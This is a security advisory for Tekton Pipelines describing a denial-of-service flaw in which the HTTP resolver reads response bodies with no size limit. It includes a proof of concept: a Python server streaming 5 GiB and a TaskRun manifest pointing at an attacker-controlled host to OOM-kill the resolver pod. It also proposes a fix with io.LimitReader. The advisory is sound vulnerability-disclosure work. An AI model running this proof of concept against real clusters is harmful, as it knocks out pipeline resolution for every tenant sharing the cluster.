GHSA-m2cx-gpqf-qf74MediumCVSS 6.5
Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion
🔗 CVE IDs covered (1)
📋 Description
## Summary
The HTTP resolver's `FetchHttpResource` function calls `io.ReadAll(resp.Body)` with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the `tekton-pipelines-resolvers` pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated `pkg/resolution/resolver/http` and the current `pkg/remoteresolution/resolver/http` implementations.
## Details
`pkg/resolution/resolver/http/resolver.go:279–307`:
```go
func FetchHttpResource(ctx context.Context, params map[string]string,
kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {
httpClient, err := makeHttpClient(ctx) // default timeout: 1 minute
// ...
resp, err := httpClient.Do(req)
// ...
defer func() { _ = resp.Body.Close() }()
body, err := io.ReadAll(resp.Body) // ← no size limit
if err != nil {
return nil, fmt.Errorf("error reading response body: %w", err)
}
// ...
}
```
`makeHttpClient` sets `http.Client{Timeout: timeout}` where `timeout` defaults to 1 minute and is configurable via `fetch-timeout` in the `http-resolver-config` ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.
The resolver deployment (`config/core/deployments/resolvers-deployment.yaml`) sets a 4 GiB memory limit on the `controller` container. A response of 4 GiB or larger delivered at wire speed will cause `io.ReadAll` to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.
The `remoteresolution` HTTP resolver (`pkg/remoteresolution/resolver/http/resolver.go:90`) delegates directly to the same `FetchHttpResource` function and is equally affected.
## PoC
```bash
# Step 1: Run an HTTP server that streams a large response fast
python3 - <<'EOF'
import http.server, socketserver
class LargeResponseHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.end_headers()
# Stream 5 GB at full speed — completes in <60s on a local network
chunk = b"X" * (1024 * 1024) # 1 MiB chunk
for _ in range(5120): # 5120 * 1 MiB = 5 GiB
self.wfile.write(chunk)
def log_message(self, *args):
pass
with socketserver.TCPServer(("", 8080), LargeResponseHandler) as httpd:
httpd.serve_forever()
EOF
# Step 2: Create a TaskRun that triggers the HTTP resolver
kubectl create -f - <<'EOF'
apiVersion: tekton.dev/v1
kind: TaskRun
metadata:
name: dos-poc
namespace: default
spec:
taskRef:
resolver: http
params:
- name: url
value: http://attacker-server.internal:8080/large-payload
EOF
# Expected result: tekton-pipelines-resolvers pod is OOM-killed.
# All resolver types in the cluster (git, hub, bundle, cluster, http)
# become unavailable until Kubernetes restarts the pod.
# Repeated submission causes a crash loop that continuously disrupts
# resolution for all tenants in the cluster.
```
**Note:** On clusters where operators have set a higher `fetch-timeout` (e.g., `10m`), the attacker has more time to deliver a larger body, and the attack is more reliable. On clusters with tight memory limits on the resolver pod, a smaller payload suffices.
## Impact
- **Denial of Service**: OOM-kill of the `tekton-pipelines-resolvers` pod denies all resolution services cluster-wide until Kubernetes restarts the pod.
- **Crash loop amplification**: A tenant can submit multiple concurrent TaskRuns pointing to the attack server. Each in-flight resolution request accumulates memory independently in the same pod, reducing the payload size needed to reach the OOM threshold.
- **Blast radius**: Because all resolver types share a single pod, disrupting the HTTP resolver also disrupts unrelated users of the Git, Bundle, Cluster, and Hub resolvers. This is a cluster-wide availability impact achievable by a single namespace-level user.
## Recommended Fix
Wrap `resp.Body` with `io.LimitReader` before passing to `io.ReadAll`. Add a configurable `max-body-size` option to the `http-resolver-config` ConfigMap with a sensible default (e.g., 50 MiB, which exceeds the size of any realistic pipeline YAML file):
```go
const defaultMaxBodyBytes = 50 * 1024 * 1024 // 50 MiB
// In FetchHttpResource, replace:
// body, err := io.ReadAll(resp.Body)
// with:
maxBytes := int64(defaultMaxBodyBytes)
if v, ok := conf["max-body-size"]; ok {
if parsed, err := strconv.ParseInt(v, 10, 64); err == nil {
maxBytes = parsed
}
}
limitedReader := io.LimitReader(resp.Body, maxBytes+1)
body, err := io.ReadAll(limitedReader)
if err != nil {
return nil, fmt.Errorf("error reading response body: %w", err)
}
if int64(len(body)) > maxBytes {
return nil, fmt.Errorf("response body exceeds maximum allowed size of %d bytes", maxBytes)
}
```
This fix must be applied to `FetchHttpResource` in `pkg/resolution/resolver/http/resolver.go`, which is shared by both the deprecated and current HTTP resolver implementations.
🎯 Affected products5
- go/github.com/tektoncd/pipeline:>= 1.10.0, < 1.11.1
- go/github.com/tektoncd/pipeline:>= 1.0.0, < 1.0.2
- go/github.com/tektoncd/pipeline:>= 1.2.0, < 1.3.4
- go/github.com/tektoncd/pipeline:>= 1.4.0, < 1.6.2
- go/github.com/tektoncd/pipeline:>= 1.7.0, < 1.9.3